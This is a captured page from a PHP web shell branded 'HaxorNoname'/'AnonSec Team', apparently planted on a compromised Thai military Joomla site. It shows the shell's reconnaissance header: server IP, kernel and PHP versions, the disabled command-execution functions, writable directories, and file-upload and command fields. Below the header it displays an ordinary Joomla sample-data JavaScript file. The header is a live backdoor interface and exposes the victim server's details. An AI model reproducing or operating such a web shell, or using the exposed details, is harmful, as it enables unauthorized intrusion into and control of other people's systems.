HaxorNoname
Server IP : 1.179.227.78  /  Your IP : 10.104.4.41
Web Server : Apache
System : Linux afdc-mdu34 5.4.0-153-generic #170-Ubuntu SMP Fri Jun 16 13:43:31 UTC 2023 x86_64
User : www ( 1001)
PHP Version : 7.4.30
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/afdc-mdu34.rtarf.mi.th/mdu34/media/mod_sampledata/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /www/wwwroot/afdc-mdu34.rtarf.mi.th/mdu34/media/mod_sampledata/js/sampledata-process.js
/**
 * @copyright  Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

!(function ($) {
	"use strict";

	var inProgress = false;

	var sampledataAjax = function(type, steps, step) {
		if (step > steps) {
			$('.sampledata-' + type + ' .row-title').append('<span class="icon-publish"> </span>');
			inProgress = false;
			return;
		}
		var stepClass = 'sampledata-steps-' + type + '-' + step,
			$stepLi = $('<li class="' + stepClass + '"><p class="loader-image text-center"><img src="' + window.modSampledataIconProgress + '" width="30" height="30" ></p></li>'),
			$progress = $(".sampledata-progress-" + type + " progress");

		$("div.sampledata-progress-" + type + " ul").append($stepLi);

		var request = $.ajax({
			url: window.modSampledataUrl,
			type: 'POST',
			dataType: 'json',
			data: {
				type: type,
				plugin: 'SampledataApplyStep' + step,
				step: step
			}
		});
		request.done(function(response){
			$stepLi.children('.loader-image').remove();

			if (response.success && response.data && response.data.length > 0) {
				var success, value, resultClass, $msg;

				// Display all messages that we got
				for(var i = 0, l = response.data.length; i < l; i++) {
					value   = response.data[i];
					success = value.success;
					resultClass = success ? 'success' : 'error';
					$stepLi.append($('<div>', {
						html: value.message,
						'class': 'alert alert-' + resultClass,
					}));
				}

				// Update progress
				$progress.val(step/steps);

				// Move on next step
				if (success) {
					step++;
					sampledataAjax(type, steps, step);
				}

			} else {
				$stepLi.addClass('alert alert-error');
				$stepLi.html(Joomla.JText._('MOD_SAMPLEDATA_INVALID_RESPONSE'));
				inProgress = false;
			}
		});
		request.fail(function(jqXHR, textStatus){
			alert('Something went wrong! Please close and reopen the browser and try again!');
		});
	};

	window.sampledataApply = function(el) {
		var $el = $(el), type = $el.data('type'), steps = $el.data('steps');

		// Check whether the work in progress or we alredy proccessed with current item
		if (inProgress) {
			return;
		}
		if ($el.data('processed')) {
			alert(Joomla.JText._('MOD_SAMPLEDATA_ITEM_ALREADY_PROCESSED'));
			return;
		}

		// Make sure that use run this not by random clicking on the page links
		if (!confirm(Joomla.JText._('MOD_SAMPLEDATA_CONFIRM_START'))) {
			return false;
		}

		// Turn on the progress container
		$('.sampledata-progress-' + type).show();
		$el.data('processed', true)

		inProgress = true;
		sampledataAjax(type, steps, 1);
		return false;
	};

})(jQuery);

Anon7 - 2022
AnonSec Team